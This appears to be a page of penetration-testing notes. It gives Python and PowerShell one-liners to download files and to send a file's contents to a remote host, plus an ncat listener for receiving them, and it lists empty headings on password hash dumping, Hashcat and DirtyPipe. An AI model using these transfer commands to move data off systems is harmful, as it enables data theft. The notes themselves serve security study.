Etc

Download file via Python (oneliner)

python -c "import urllib.request; urllib.request.urlretrieve('http://example.com/file.txt', 'file.txt')"

Post file via Python (oneliner)

python -c "import urllib.request, urllib.parse; urllib.request.urlopen(urllib.request.Request('http://example.com/upload', data=urllib.parse.urlencode({'file': open('file.txt', 'rb').read()}).encode()))"

Send file via Python sockets (oneliner)

python -c "import socket; s = socket.socket(); s.connect(('localhost', 8080)); s.sendall(open('file.txt', 'rb').read()); s.close()"

Send file via Powershell sockets

$server = "127.0.0.1"
$port = 8080
$filePath = "file.txt"

$tcpClient = New-Object System.Net.Sockets.TcpClient($server, $port)
$networkStream = $tcpClient.GetStream()
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$networkStream.Write($fileBytes, 0, $fileBytes.Length)
$networkStream.Flush()
$networkStream.Close()
$tcpClient.Close()

Send file via Linux sockets

Hashdump locally with hives

Source: https://gist.github.com/sh1n0b1/8972807arrow-up-right

circle-info

Note:Security may not be must?

Hashcat

Gitea to Hashcat

Grafana to Hashcat

MySQL Enumeration With Language

PHP

PDO

MySQLi

Python

flask_sqlalchemy

DiryPipe

ncat -lvnkp PORT | tee FILENAME alternative, was meant to be single liner~: https://gist.github.com/xHacka/984d4c5cbe52e03205e5e5d2460b63cearrow-up-right

Last updated